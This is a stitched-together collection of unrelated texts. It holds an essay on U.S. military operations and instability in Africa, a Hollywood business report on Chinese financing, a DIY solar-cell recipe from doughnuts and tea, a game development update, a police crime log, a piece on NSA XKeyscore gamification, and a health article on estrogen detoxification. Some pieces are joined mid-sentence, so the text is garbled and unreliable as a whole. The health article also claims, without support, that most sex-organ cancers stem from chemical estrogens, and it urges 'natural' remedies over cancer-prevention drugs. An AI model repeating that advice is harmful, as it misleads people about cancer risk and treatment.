Writing in the New York Times Magazine, Nicholas Schmidle noted that the program saw year-round deployments of Special Forces personnel “to train local armies at battling insurgencies and rebellions and to prevent bin Laden and his allies from expanding into the region.” The Trans-Saharan Counterterrorism Partnership and its Defense Department companion program, then known as Operation Enduring Freedom-Trans-Sahara, were, in turn, folded into U.S. Africa Command when it took over military responsibility for the continent in 2008.
As Schmidle noted, the effects of U.S. efforts in the region seemed at odds with AFRICOM’s stated goals. “Al Qaeda established sanctuaries in the Sahel, and in 2006 it acquired a North African franchise [Al-Qaeda in the Islamic Maghreb],” he wrote. “Terrorist attacks in the region increased in both number and lethality.”
In fact, a look at the official State Department list of terrorist organizations indicates a steady increase in Islamic radical groups in Africa alongside the growth of U.S. counterterrorism efforts there -- with the addition of the Libyan Islamic Fighting Group in 2004, Somalia’s al-Shabaab in 2008, and Mali’s Ansar al-Dine in 2013. In 2012, General Carter Ham, then AFRICOM’s chief, added the Islamist militants of Boko Haram in Nigeria to his own list of extremist threats.
The overthrow of Qaddafi in Libya by an interventionist coalition including the U.S., France, and Britain similarly empowered a host of new militant Islamist groups such as the Omar Abdul Rahman Brigades, which have since carried out multiple attacks on Western interests, and the al-Qaeda-linked Ansar al-Sharia, whose fighters assaulted U.S. facilities in Benghazi, Libya, on September 11, 2012, killing Ambassador Christopher Stevens and three other Americans. In fact, just prior to that attack, according to the New York Times, the CIA was tracking “an array of armed militant groups in and around” that one city alone.
According to Frederic Wehrey, a senior policy analyst with the Carnegie Endowment for International Peace and an expert on Libya, that country is now “fertile ground” for militants arriving from the Arabian Peninsula and other places in the Middle East as well as elsewhere in Africa to recruit fighters, receive training, and recuperate. “It’s really become a new hub,” he told me.
Obama’s Scramble for Africa
The U.S.-backed war in Libya and the CIA’s efforts in its aftermath are just two of the many operations that have proliferated across the continent under President Obama. These include a multi-pronged military and CIA campaign against militants in Somalia, consisting of intelligence operations, a secret prison, helicopter attacks, drone strikes, and U.S. commando raids; a special ops expeditionary force (bolstered by State Department experts) dispatched to help capture or kill Lord’s Resistance Army (LRA) leader Joseph Kony and his top commanders in the jungles of the Central African Republic, South Sudan, and the Democratic Republic of Congo; a massive influx of funding for counterterrorism operations across East Africa; and, in just the last four years, hundreds of millions of dollars spent arming and training West African troops to serve as American proxies on the continent. From 2010-2012, AFRICOM itself burned through $836 million as it expanded its reach across the region, primarily via programs to mentor, advise, and tutor African militaries.
In recent years, the U.S. has trained and outfitted soldiers from Uganda, Burundi, and Kenya, among other nations, for missions like the hunt for Kony. They have also served as a proxy force for the U.S. in Somalia, part of the African Union Mission (AMISOM) protecting the U.S.-supported government in that country’s capital, Mogadishu. Since 2007, the State Department has anted up about $650 million in logistics support, equipment, and training for AMISOM troops. The Pentagon has kicked in an extra $100 million since 2011.
The U.S. also continues funding African armies through the Trans-Sahara Counter-Terrorism Partnership and its Pentagon analog, now known as Operation Juniper Shield, with increased support flowing to Mauritania and Niger in the wake of Mali’s collapse. In 2012, the State Department and the U.S. Agency for International Development poured approximately $52 million into the programs, while the Pentagon chipped in another $46 million.
In the Obama years, U.S. Africa Command has also built a sophisticated logistics system officially known as the AFRICOM Surface Distribution Network, but colloquially referred to as the “new spice route.” Its central nodes are in Manda Bay, Garissa, and Mombasa in Kenya; Kampala and Entebbe in Uganda; Bangui and Djema in Central African Republic; Nzara in South Sudan; Dire Dawa in Ethiopia; and the Pentagon’s showpiece African base, Camp Lemonnier.
In addition, the Pentagon has run a regional air campaign using drones and manned aircraft out of airports and bases across the continent including Camp Lemonnier, Arba Minch airport in Ethiopia, Niamey in Niger, and the Seychelles Islands in the Indian Ocean, while private contractor-operated surveillance aircraft have flown missions out of Entebbe, Uganda. Recently, Foreign Policy reported on the existence of a possible drone base in Lamu, Kenya.
Another critical location is Ouagadougou, the capital of Burkina Faso, home to a Joint Special Operations Air Detachment and the Trans-Sahara Short Take-Off and Landing Airlift Support initiative that, according to military documents, supports “high risk activities” carried out by elite forces from Joint Special Operations Task Force-Trans Sahara. Lieutenant Colonel Scott Rawlinson, a spokesman for Special Operations Command Africa, told me that the initiative provides “emergency casualty evacuation support to small team engagements with partner nations throughout the Sahel,” although official documents note that such actions have historically accounted for just 10% of monthly flight hours.
While Rawlinson demurred from discussing the scope of the program, citing operational security concerns, military documents indicate that it is expanding rapidly. Between March and December of last year, for example, the Trans-Sahara Short Take-Off and Landing Airlift Support initiative flew 233 sorties. In just the first three months of this year, it carried out 193.
AFRICOM spokesman Benjamin Benson has confirmed to TomDispatch that U.S. air operations conducted from Base Aerienne 101 in Niamey, the capital of Niger, were providing “support for intelligence collection with French forces conducting operations in Mali and with other partners in the region.” Refusing to go into detail about mission specifics for reasons of “operational security,” he added that, “in partnership with Niger and other countries in the region, we are committed to supporting our allies… this decision allows for intelligence, surveillance, and reconnaissance operations within the region.”
Benson also confirmed that the U.S. military has used Léopold Sédar Senghor International Airport in Senegal for refueling stops as well as the “transportation of teams participating in security cooperation activities” like training missions. He confirmed a similar deal for the use of Addis Ababa Bole International Airport in Ethiopia. All told, the U.S. military now has agreements to use 29 international airports in Africa as refueling centers.
Benson was more tight-lipped about air operations from Nzara Landing Zone in the Republic of South Sudan, the site of one of several shadowy forward operating posts (including another in Djema in the Central Africa Republic and a third in Dungu in the Democratic Republic of Congo) that have been used by U.S. Special Operations forces. “We don’t want Kony and his folks to know… what kind of planes to look out for,” he said. It’s no secret, however, that U.S. air assets over Africa and its coastal waters include Predator, Global Hawk and Scan Eagle drones, MQ-8 unmanned helicopters, EP-3 Orion aircraft, Pilatus planes, and E-8 Joint Stars aircraft.
Last year, in its ever-expanding operations, AFRICOM planned 14 major joint-training exercises on the continent, including in Morocco, Uganda, Botswana, Lesotho, Senegal, and Nigeria. One of them, an annual event known as Atlas Accord, saw members of the U.S. Special Forces travel to Mali to conduct training with local forces. “The participants were very attentive, and we were able to show them our tactics and see theirs as well,” said Captain Bob Luther, a team leader with the 19th Special Forces Group.
The Collapse of Mali
As the U.S.-backed war in Libya was taking down Qaddafi, nomadic Tuareg fighters in his service looted the regime’s extensive weapons caches, crossed the border into their native Mali, and began to take over the northern part of that country. Anger within the country’s armed forces over the democratically elected government’s ineffective response to the rebellion resulted in a military coup. It was led by Amadou Sanogo, an officer who had received extensive training in the U.S. between 2004 and 2010 as part of the Pan-Sahel Initiative. Having overthrown Malian democracy, he and his fellow officers proved even less effective in dealing with events in the north.
With the country in turmoil, the Tuareg fighters declared an independent state. Soon, however, heavily-armed Islamist rebels from homegrown Ansar al-Dine as well as Al Qaeda in the Islamic Maghreb, Libya’s Ansar al-Sharia, and Nigeria’s Boko Haram, among others, pushed out the Tuaregs, took over much of the north, instituted a harsh brand of Shariah law, and created a humanitarian crisis that caused widespread suffering, sending refugees streaming from their homes.
These developments raised serious questions about the efficacy of U.S. counterterrorism efforts. “This spectacular failure reveals that the U.S. probably underestimated the complex socio-cultural peculiarities of the region, and misread the realities of the terrain,” Berny Sèbe, an expert on North and West Africa at the University of Birmingham in the United Kingdom, told me. “This led them to being grossly manipulated by local interests over which they had, in the end, very limited control.”
Following a further series of Islamist victories and widespread atrocities, the French military intervened at the head of a coalition of Chadian, Nigerian, and other African troops, with support from the U.S. and the British. The foreign-led forces beat back the Islamists, who then shifted from conventional to guerrilla tactics, including suicide bombings.
In April, after such an attack killed three Chadian soldiers, that country’s president announced that his forces, long supported by the U.S. through the Pan-Sahel Initiative, would withdraw from Mali. “Chad’s army has no ability to face the kind of guerrilla fighting that is emerging," he said. In the meantime, the remnants of the U.S.-backed Malian military fighting alongside the French were cited for gross human rights violations in their bid to retake control of their country.
After the French intervention in January, then-Secretary of Defense Leon Panetta said, “There is no consideration of putting any American boots on the ground at this time.” Not long after, 10 U.S. military personnel were deployed to assist French and African forces, while 12 others were assigned to the embassy in the Malian capital, Bamako.
While he’s quick to point out that Mali’s downward spiral had much to do with its corrupt government, weak military, and rising levels of ethnic discontent, the Carnegie Endowment’s Wehrey notes that the war in Libya was “a seismic event for the Sahel and the Sahara.” Just back from a fact-finding trip to Libya, he added that the effects of the revolution are already rippling far beyond the porous borders of Mali.
Wehrey cited recent findings by the United Nations Security Council's Group of Experts, which monitors an arms embargo imposed on Libya in 2011. “In the past 12 months,” the panel reported, “the proliferation of weapons from Libya has continued at a worrying rate and has spread into new territory: West Africa, the Levant [the Eastern Mediterranean region], and potentially even the Horn of Africa. Illicit flows [of arms] from the country are fueling existing conflicts in Africa and the Levant and enriching the arsenals of a range of non-state actors, including terrorist groups.”
Growing Instability
The collapse of Mali after a coup by an American-trained officer and Chad’s flight from the fight in that country are just two indicators of how post-9/11 U.S. military efforts in Africa have fared. “In two of the three other Sahelian states involved in the Pentagon’s pan-Sahelian initiative, Mauritania and Niger, armies trained by the U.S., have also taken power in the past eight years,” observed journalist William Wallis in the Financial Times. “In the third, Chad, they came close in a 2006 attempt.” Still another coup plot involving members of the Chadian military was reportedly uncovered earlier this spring.
In March, Major General Patrick Donahue, the commander of U.S. Army Africa, told interviewer Gail McCabe that northwestern Africa was now becoming increasingly “problematic.” Al-Qaeda, he said, was at work destabilizing Algeria and Tunisia. Last September, in fact, hundreds of Islamist protesters attacked the U.S. embassy compound in Tunisia, setting it on fire. More recently, Camille Tawil in the CTC Sentinel, the official publication of the Combating Terrorism Center at the U.S. Military Academy at West Point, wrote that in Tunisia “jihadis are openly recruiting young militants and sending them to training camps in the mountains, especially along Algeria’s borders.”
The U.S.-backed French intervention in Mali also led to a January revenge terror attack on the Amenas gas plant in Algeria. Carried out by the al-Mulathameen brigade, one of various new al-Qaeda in the Islamic Maghreb-linked militant groups emerging in the region, it led to the deaths of close to 40 hostages, including three Americans. Planned by Mokhtar Belmokhtar, a veteran of the U.S.-backed war against the Soviets in Afghanistan in the 1980s, it was only the first in a series of blowback responses to U.S. and Western interventions in Northern Africa that may have far-reaching implications.
Last month, Belmokhtar’s forces also teamed up with fighters from the Movement for Unity and Jihad in West Africa -- yet another Islamist militant group of recent vintage -- to carry out coordinated attacks on a French-run uranium mine and a nearby military base in Agadez, Niger, that killed at least 25 people. A recent attack on the French embassy in Libya by local militants is also seen as a reprisal for the French war in Mali.
According to the Carnegie Endowment’s Wehrey, the French military’s push there has had the additional effect of reversing the flow of militants, sending many back into Libya to recuperate and seek additional training. Nigerian Islamist fighters driven from Mali have returned to their native land with fresh training and innovative tactics as well as heavy weapons from Libya. Increasingly battle-hardened, extremist Islamist insurgents from two Nigerian groups, Boko Haram and the newer, even more radical Ansaru, have escalated a long simmering conflict in that West African oil giant.
For years, Nigerian forces have been trained and supported by the U.S. through the Africa Contingency Operations Training and Assistance program. The country has also been a beneficiary of U.S. Foreign Military Financing, which provides grants and loans to purchase U.S.-produced weaponry and equipment and funds military training. In recent years, however, brutal responses by Nigerian forces to what had been a fringe Islamist sect have transformed Boko Haram into a regional terrorist force.
The situation has grown so serious that President Goodluck Jonathan recently declared a state of emergency in northern Nigeria. Last month, Secretary of State John Kerry spoke out about “credible allegations that Nigerian security forces are committing gross human rights violations, which, in turn, only escalate the violence and fuel extremism.” After a Boko Haram militant killed a soldier in the town of Baga, for example, Nigerian troops attacked the town, destroying more than 2,000 homes and killing an estimated 183 people.
Similarly, according to a recent United Nations report, the Congolese army’s 391st Commando Battalion, formed with U.S. support and trained for eight months by U.S. Special Operations forces, later took part in mass rapes and other atrocities. Fleeing the advance of a recently formed, brutal (non-Islamic) rebel group known as M23, its troops joined with other Congolese soldiers in raping close to 100 women and more than 30 girls in November 2012.
“This magnificent battalion will set a new mark in this nation's continuing transformation of an army dedicated and committed to professionalism, accountability, sustainability, and meaningful security," said Brigadier General Christopher Haas, the head of U.S. Special Operations Command Africa at the time of the battalion’s graduation from training in 2010.
Earlier this year, incoming AFRICOM commander General David Rodriguez told the Senate Armed Services Committee that a review of the unit found its “officers and enlisted soldiers appear motivated, organized, and trained in small unit maneuver and tactics” even if there were “limited metrics to measure the battalion’s combat effectiveness and performance in protecting civilians.” The U.N. report tells a different story. For example, it describes “a 14 year old boy… shot dead on 25 November 2012 in the village of Kalungu, Kalehe territory, by a soldier of the 391 Battalion. The boy was returning from the fields when two soldiers tried to steal his goat. As he tried to resist and flee, one of the soldiers shot him.”
Despite years of U.S. military aid to the Democratic Republic of Congo, M23 has dealt its army heavy blows and, according to AFRICOM’s Rodriguez, is now destabilizing the region. But they haven’t done it alone. According to Rodriguez, M23 “would not be the threat it is today without external support including evidence of support from the Rwandan government.”
For years, the U.S. aided Rwanda through various programs, including the International Military Education and Training initiative and Foreign Military Financing. Last year, the U.S. cut $200,000 in military assistance to Rwanda -- a signal of its disapproval of that government’s support for M23. Still, as AFRICOM’s Rodriguez admitted to the Senate earlier this year, the U.S. continues to “support Rwanda’s participation in United Nations peacekeeping missions in Africa.”
After years of U.S. assistance, including support from Special Operations forces advisors, the Central African Republic’s military was recently defeated and the country’s president ousted by another newly formed (non-Islamist) rebel group known as Seleka. In short order, that country’s army chiefs pledged their allegiance to the leader of the coup, while hostility on the part of the rebels forced the U.S. and its allies to suspend their hunt for Joseph Kony.
A strategic partner and bulwark of U.S. counterterrorism efforts, Kenya receives around $1 billion in U.S. aid annually and elements of its military have been trained by U.S. Special Operations forces. But last September, Foreign Policy’s Jonathan Horowitz reported on allegations of “Kenyan counterterrorism death squads... killing and disappearing people.” Later, Human Rights Watch drew attention to the Kenyan military’s response to a November attack by an unknown gunman that killed three soldiers in the northern town of Garissa. The “Kenyan army surrounded the town, preventing anyone from leaving or entering, and started attacking residents and traders,” the group reported. “The witnesses said that the military shot at people, raped women, and assaulted anyone in sight.”
Another longtime recipient of U.S. support, the Ethiopian military, was also involved in abuses last year, following an attack by gunmen on a commercial farm. In response, according to Human Rights Watch, members of Ethiopia’s army raped, arbitrarily arrested, and assaulted local villagers.
The Ugandan military has been the primary U.S. proxy when it comes to policing Somalia. Its members were, however, implicated in the beating and even killing of citizens during domestic unrest in 2011. Burundi has also received significant U.S. military support and high-ranking officers in its army have recently been linked to the illegal mineral trade, according to a report by the environmental watchdog group Global Witness. Despite years of cooperation with the U.S. military, Senegal now appears more vulnerable to extremism and increasingly unstable, according to a report by the Institute of Security Studies.
And so it goes across the continent.
Success Stories
In addition to the Gulf of Guinea, AFRICOM’s chief spokesman pointed to Somalia as another major U.S. success story on the continent. And it’s true that Somalia is more stable now than it has been in years, even if a weakened al-Shabaab continues to carry out attacks. The spokesman even pointed to a recent CNN report about a trickle of tourists entering the war-torn country and the construction of a luxury beach resort in the capital, Mogadishu.
I asked for other AFRICOM success stories, but only those two came to his mind -- and no one should be surprised by that.
After all, in 2006, before AFRICOM came into existence, 11 African nations were among the top 20 in the Fund for Peace’s annual Failed States Index. Last year, that number had risen to 15 (or 16 if you count the new nation of South Sudan).
In 2001, according to the Global Terrorism Database from the National Consortium for the Study of Terrorism and Responses to Terrorism at the University of Maryland, there were 119 terrorist incidents in sub-Saharan Africa. By 2011, the last year for which numbers are available, there were close to 500. A recent report from the International Center for Terrorism Studies at the Potomac Institute for Policy Studies counted 21 terrorist attacks in the Maghreb and Sahel regions of northern Africa in 2001. During the Obama years, the figures have fluctuated between 144 and 204 annually.
Similarly, an analysis of 65,000 individual incidents of political violence in Africa from 1997 to 2012, assembled by researchers affiliated with the International Peace Research Institute, found that “violent Islamist activity has increased significantly in the past 15 years, with a particular[ly] sharp increase witnessed from 2010 onwards.” Additionally, according to researcher Caitriona Dowd, “there is also evidence for the geographic spread of violent Islamist activity both south- and east-ward on the continent.”
In fact, the trends appear stark and eerily mirror statements from AFRICOM’s leaders.
In March 2009, after years of training indigenous forces and hundreds of millions of dollars spent on counterterrorism activities, General William Ward, the first leader of U.S. Africa Command, gave its inaugural status report to the Senate Armed Services Committee. It was bleak. “Al-Qaeda,” he said, “increased its influence dramatically across north and east Africa over the past three years with the growth of East Africa Al-Qaeda, al Shabaab, and al-Qaeda in the Lands of the Islamic Maghreb (AQIM).”
This February, after four more years of military engagement, security assistance, training of indigenous armies, and hundreds of millions of dollars more in funding, AFRICOM’s incoming commander General David Rodriguez explained the current situation to the Senate in more ominous terms. “The command’s number one priority is East Africa with particular focus on al-Shabaab and al-Qaeda networks. This is followed by violent extremist [movements] and al-Qaeda in North and West Africa and the Islamic Maghreb. AFRICOM’s third priority is Counter-LRA [Lord’s Resistance Army] operations.”
Rodriguez warned that, “with the increasing threat of al-Qaeda in the Islamic Maghreb, I see a greater risk of regional instability if we do not engage aggressively.” In addition to that group, he declared al-Shabaab and Boko Haram major menaces. He also mentioned the problems posed by the Movement for Unity and Jihad in West Africa and Ansar al-Dine. Libya, he told them, was threatened by “hundreds of disparate militias,” while M23 was “destabilizing the entire Great Lakes region [of Central Africa].”
In West Africa, he admitted, there was also a major narcotics trafficking problem. Similarly, East Africa was “experiencing an increase in heroin trafficking across the Indian Ocean from Afghanistan and Pakistan.” In addition, “in the Sahel region of North Africa, cocaine and hashish trafficking is being facilitated by, and directly benefitting, organizations like al-Qaeda in the Islamic Maghreb leading to increased regional instability.”
In other words, 10 years after Washington began pouring taxpayer dollars into counterterrorism and stability efforts across Africa and its forces first began operating from Camp Lemonnier, the continent has experienced profound changes, just not those the U.S. sought. The University of Birmingham’s Berny Sèbe ticks off post-revolutionary Libya, the collapse of Mali, the rise of Boko Haram in Nigeria, the coup in the Central African Republic, and violence in Africa’s Great Lakes region as evidence of increasing volatility. “The continent is certainly more unstable today than it was in the early 2000s, when the U.S. started to intervene more directly,” he told me.
As the war in Afghanistan -- a conflict born of blowback -- winds down, there will be greater incentive and opportunity to project U.S. military power in Africa. However, even a cursory reading of recent history suggests that this impulse is unlikely to achieve U.S. goals. While correlation doesn’t equal causation, there is ample evidence to suggest the United States has facilitated a terror diaspora, imperiling nations and endangering peoples across Africa. In the wake of 9/11, Pentagon officials were hard-pressed to show evidence of a major African terror threat. Today, the continent is thick with militant groups that are increasingly crossing borders, sowing insecurity, and throwing the limits of U.S. power into broad relief. After 10 years of U.S. operations to promote stability by military means, the results have been the opposite. Africa has become blowback central.
Nick Turse is the managing editor of TomDispatch.com and a fellow at the Nation Institute. An award-winning journalist, his work has appeared in the Los Angeles Times, the Nation, and regularly at TomDispatch. He is the author most recently of the New York Times bestseller Kill Anything that Moves: The Real American War in Vietnam (The American Empire Project, Metropolitan Books). You can catch his conversation with Bill Moyers about that book by clicking here. His website is NickTurse.com. You can follow him on Tumblr and on Facebook.
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Copyright 2013 Nick TurseThere are many changes in the financial sector since the advent of blockchain technology. Several companies, especially startups, have come up with innovative ways to help accomplish the Sustainable Development Goals |
wasn’t really there to begin with.
For instance, one deal after another promised by Chinese companies have fallen apart, such as Wanda Group’s announced $1B deal with Dick Clark Productions. “Money dealmaking with the Chinese is like walking through a house of mirrors,” said one person involved with the Chinese.
The $100M film Starfall, announced last year in Wanda’s dog-and-pony show at LACMA, is still moving forward, Deadline has been told. It doesn’t hurt that film from Lionsgate, Dede Nickerson (Infinity Pictures) and Di Bonaventura Pictures will be shot at Wanda’s Qingdao Studios, where it will be employing local crews. The film is co-financed by Lionsgate, Wanda and Infinity Pictures, which is a China Media Capital-backed company.
Tang Media had been also snooping around Open Road as well as the Chinese company was looking for a library to acquire and had honed in on the company in the end of May, beginning of June. That deal is now going through.
The H Collective is another company with backing from the Chinese, specifically controversial exec Jian-hua “Kenny” Huang which put this together (HuaHua). They intend to make several projects from Sid Ganis and Nancy Hult Ganis, producer Mark Johnson and the producer team of Joe Roth and Jeff Kirschenbaum. One of those projects will be a yet untitled xXx sequel, the fourth installment of the action film franchise originally created by Revolution Studios. H Collective is still in its infancy and so far there has been no word from about cash flow constraints.
Viacom
At Paramount and Viacom, where they are banking on the HuaHua money, they remain under the impression the investment is coming. This, even though Orient Times Media which has a 51% controlling interest in HuaHua Media, just saw its stock price drop 36.7%, according to reports in China. That has brought up some questions about the valuation of HuaHua Media in recent days and also whether HuaHua and Shanghai Films can transfer that much money ($1B) into the U.S. market given the government restrictions. There has been no word on that so far and those with knowledge of the Viacom/Huang talks said that after Transformers: The Last Knight opened in June, no one has really heard from him.
Meanwhile, China remains a vast and growing box office holy grail — and that will keep Hollywood looking for ways to do business there. The United States Trade Representative is currently negotiating hoped-for better terms for the studios in the Middle Kingdom (it remains to be seen whether the Trump administration’s reportedly planned investigation into China’s trade practices will have an impact here).
One positive result of the controlled cash outflow — which some see as a warning from the Chinese powers that be that no company should ever think itself bigger than the Party — may have sort of a grounding effect. China watchers expect far fewer mega-deal announcements, many of which, as noted, weren’t capitalized to begin with. They’ll be “more real,” one person says. In the first six months of 2017, outbound investment dropped 42.9% to $49.4B, China’s Vice Minister of Commerce said earlier this week.
As one China watcher says, “With no alternatives for risk-tolerant investors on the horizon ready to put money into the traditional film studio business model, Hollywood will be forced to take every overture from China seriously.”
Wanda’s troubles doesn’t mean Chinese money is not flowing into Hollywood, as some companies are still funding, but it certainly has become a great source of fear and uncertainty and put others into a state of limbo. Stay tuned.
Nancy Tartaglione contributed to this report.This article was taken from the March issue of Wired UK magazine. Be the first to read Wired's articles in print before they're posted online, and get your hands on loads of additional content by subscribing online
Solar power could be the future, but it'll be a while until panels are on every roof. Fear not: while working at the University of Notre Dame, Indiana, engineer Blake Farrow showed you don't need the far corners of the periodic table to put together a solar cell.
Just grab some tea-time staples.
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1. Treat yourself to some powdered doughnuts and herbal tea. The powdered sugar on US-style doughnuts contains titanium dioxide (TiO2 or E171). This is a semiconductor that can be used to make solar cells. To extract the TiO2 in a useful form, first scrape off all the powder and put it in a cup of warm water. Stirring this will dissolve all the sugar (there is a lot of it).
2. Running the whitish water through a coffee filter will leave behind a white blob -- this is the precious TiO2, along with some unwanted fat.
Read next Some of the UK's trains could be running on solar power by 2020 Some of the UK's trains could be running on solar power by 2020
3. Because the fat is useless for solar cells, you'll need to put the residue in a hot oven for a few hours to vaporise it. The TiO2 remains as nanoparticles, each around 100nm wide.
4. Throw these particles into high-proof ethanol (vodka will do: use 1ml per doughnut) and shake.
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5. Now conductive glass is needed (tough to find, but indium-doped tin oxide is best). With an eye dropper or syringe, drop ten layers of the nanoparticle spirit on the glass, allowing it to dry with each layer. Then put it back in the oven.
6. This is now a solar cell, but it will work only with UV light (the bad kind). Here is where the tea comes in. Leave the nanoparticle solar cell sitting in a cup of hibiscus tea for a couple hours, and soon it will have absorbed the colour, shifting its useful range from UV (useless) to visible light.
7. To collect energy from this solar cell, you'll need a counter-electrode. Take another piece of conducting glass and use a dark pencil to cover the surface with graphite.
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8. To get your electricity to your counter-electrode, a generous amount of iodine in high-proof alcohol works well as an electrolyte. Use one part alcohol to three parts Lugol's solution -- available from health stores and aquarium suppliers.
9. Cut a hole in some thin plastic or tape to use as a spacer, and place it on the nanoparticle cell. Drop some electrolyte on top, and quickly sandwich the two electrodes together with some bulldog clips.
10. You're done! A multimeter connected to both of the conducting electrodes should show about half a volt when in the sun. See a tutorial at YouTube.It’s the weekend! Yay!
Today we’ve been finishing up some crafting changes. Each type of item now has its own swanky layout within the crafting window.
There are lots of different kinds of items, so this was quite a bit of work and it’s nice to have it finally out of the way.
I’ve also thrown a bunch more recipes into the game, given our 1300~ items so far there are a lot of recipes!
Bartwe is working on a sorting and searching system to make the number of items manageable. That will sit in the gap below the schematics list.
Kyren is continuing her super technical work, which will be out of the way soon.
Omni has more or less finished up the log book UI, but I need to configure where all the text/images sit, so no images of that just yet.
One of contributors also made me this with the paint tool <3
Roll on SundayOn Saturday (4.03), the New Orleans Police Department (NOPD) handled a shooting, domestic violence, muggings, and a couple home invasions according to the Major Offense Log (MOL).
At 3:43p.m., a 25-year-old man was walking neat 4th Street and Clara St. when he heard gunshots and realized that he had been shot according to NOPD PIO Dave Badie. The victim was taken to the hospital and is listed in stable condition.
43-year-old Jonathon Thomas is wanted for Aggravated Battery (Domestic). Thomas allegedly attacked his 44-year-old ex-girlfriend after seeing her leave her house on the 8900 block of Plum Street at 7:19p.m. with her new boyfriend.
On the 1400 block of North Robertson Street, a 32-year-old man was ambushed by two unknown men after he invited a woman named “Dee” into his house stated Badie. The PIO said that at 8:24p.m., the pair forced their way into the home and and then ransacked the place while they held the victim at gunpoint.
Police reported that at 10:52p.m. a 15-year-old boy opened his door on the 2600 block of New Orleans Street at which point, another teenager wielding a gun burst into the residence explained Badie. After a physical struggle, the the victim was able to push the intruder out of his house.
At 12:16a.m., a man and a woman were approached by a gunman on the 3200 bock of Memorial Park Drive according to authorities. Badie stated that after the victims said that they have no money, the perp them empty their pockets, and then the gunman fired a few shots into the air before running off.Late last month, the Guardian explained how Xkeyscore, a tool used by the US National Security Agency, is used by analysts to examine online communications with great precision. Xkeyscore is impressive in its breadth:
The purpose of XKeyscore is to allow analysts to search the metadata as well as the content of emails and other internet activity, such as browser history, even when there is no known email account (a “selector” in NSA parlance) associated with the individual being targeted. Analysts can also search by name, telephone number, IP address, keywords, the language in which the internet activity was conducted or the type of browser used.
Notable among the many follow-up stories is one posted in English today by Der Spiegel, a respected German magazine. The piece looks at the relationship between German intelligence and the NSA, data collection on German soil, and the use of Xkeyscore from a base in Hesse, a state in the west of the country. According to Der Spiegel, NSA analysts raved about Xkeyscore once they got the hang of it, but it took time to train them. Buried within the piece is this nugget:
To create additional motivation [to learn how to use Xkeyscore], the NSA incorporated various features from computer games into the program. For instance, analysts who were especially good at using XKeyscore could acquire “skilz” points and “unlock achievements.” The training units in Hesse were apparently successful. ECC [European Cryptologic Center, an NSA outpost in Germany] analysts had achieved the “highest average of skilz points” compared with all other NSA departments participating in the training program.
The NSA is using what’s referred to, generally without irony, as “gamification.” The ugliness of the word is exceeded only by what it means. Gamification refers to using game mechanics such as levels, points, rewards, and competition in real-world contexts. That generally means incentives like being awarded badges, or indeed “skilz”. Everything can be gamified: health, education, love, business, government, charity, customer relations management and sales, saving the world—and even, it turns out, spying.Helping your body eliminate estrogen safely can help you lose excess body fat and reduce cancer risk. Excessive estrogen is a problem for men as well as women due to multiple factors, especially the huge amounts of chemical estrogens we are exposed to in our daily lives.
Did you know that there are chemical estrogens in plastic bottles, cosmetics, shampoo and personal care products, oil-based coatings, pesticides, and animal hormones?
That’s right, but the negative effects of estrogen on the body don’t just come from the environment. The ineffective way we metabolize estrogen is directly linked to prostate and breast cancer risk. It also produces poor body composition and inhibits fat loss.
Studies show that genetics and obesity contribute to about 30 percent of the cancers that affect the sex organs (breast, prostate, ovarian), but the cause of the remaining 70 percent is still unclear. It is likely due to chemical estrogen exposure and problems with metabolism due to diet and a sedentary lifestyle.
The solution is to live a lifestyle that both improves elimination of estrogen and minimizes exposure to chemical estrogens. This article will tell you why and how you can do this by changing your lifestyle in the following ten ways:
1) Improve Gastrointestinal Health
2) Improve Diet
3) Decrease Body Fat
4) Use Phytoestrogens To ImproveEstrogen Detoxification
5) Stop Testosterone From Turning into Estrogen
6) Improve Estrogen Metabolism
7) Ensure Complete Elimination
8) Supplement With Essential Nutrients
9) Watch What You Drink
10) Limit Chemical Estrogen Exposure
Estrogen: The Basics
Estrogen is a hormone that is produced primarily in the ovaries in women and in the testes in men. For men, it plays an important role in sperm production and bone maintenance. Estrogen is also produced by other tissues in both men and women, including fat and the brain.
The amount of estrogen needed by men to support these functions is very small, and men tend to have excess estrogen in their systems for two reasons. First, an enzyme called aromatase that is found in tissues throughout the body will turn testosterone into estrogen. Aromatase is found in body fat, so men with a higher body fat percentage will produce more aromatase and therefore have higher estrogen levels and lower testosterone.
It's possible to reduce aromatase by eating or supplementing with nutrients that do this naturally. There are also drugs that inhibit aromatase that are used to prevent breast and prostate cancer, but it’s best to take the natural route without consuming synthetic drugs.
Second, men have excess estrogen because of the chemical estrogens in the environment, such as BPA and phthalates. BPA is a petroleum based chemical that mimics estrogen in the body. For example, one stud found that BPA exposure led to lower testosterone and poor sexual function in men because it inhibited the production of androstenedione—the hormone from which testosterone is produced.
Phthalates are another chemical estrogen that are used in plastics and many personal care products such as shampoo and lotion. They contribute to excess estrogen levels and need to be eliminated from the body as safely and quickly as possible in order to minimize the damage they have on tissues.
How Estrogen Is Metabolized By The Liver
Estrogen is metabolized by the liver. The liver converts excess estrogens into compounds that can be excreted by the body. The catch is there are three pathways through which estrogen can be metabolized. One is a “toxic” pathway that is linked to cancer development, the second is unfavorable for health, and the third is more benign and preferable.
If your body can convert estrogens along what is called the 2-hydroxy pathway it will be healthier and you’ll decrease your cancer risk, whereas if your body converts along the 16-alpha-hydroxy pathway it will be at greater risk of cancer.
Don’t worry about the chemical names of the pathways, just remember that the C-2 pathway is healthier and the C-16 pathway and the C-4 pathway are unfavorable. The solution is to nutritionally support conversion of estrogen along the C-2 pathway, which can be initiated by ensuring you have a healthy gut.
1) Improve Gastrointestinal Health
Poor gastrointestinal health can inhibit excretion of unwanted estrogen from the body and promote its reabsorption. A healthy gut with dietary fiber in the form lignan, such as flaxseeds, can bind to estrogen in the digestive tract so that it will be excreted from the body. Dietary fiber also reduces the amount of an enzyme (called B-glucouronidase) that uncouples or breaks apart bound estrogen that is on its way out of the body. When the estrogen breaks free in the large intestine, it re-enters circulation and is not removed from the body. This is a bad situation.
The solution is to eat adequate fiber and include lignans in the diet, including flax, leafy greens, and bran (oat, rye, barley). Eating plenty of probiotic foods or taking a probiotic is often helpful because it will increase the “good bacteria” in the gut and support neurotransmitter function.
2) Improve Diet With Low Carb, High-Protein, Omega-3 Fats
To avoid excess estrogen, you need to manage insulin because doing so is better for body composition. Body fat itself secretes estrogen, so it is important to keep body composition in the optimal range and avoid obesity. Additionally, persistently high insulin produces a poor endocrine profile that can inhibit estrogen metabolism.
Getting your carbs from vegetable and fruit sources will provide the lignans and fiber needed for gut health and increase antioxidant levels, which can abolish free radicals that produced by estrogen that goes down the C-16 pathway.
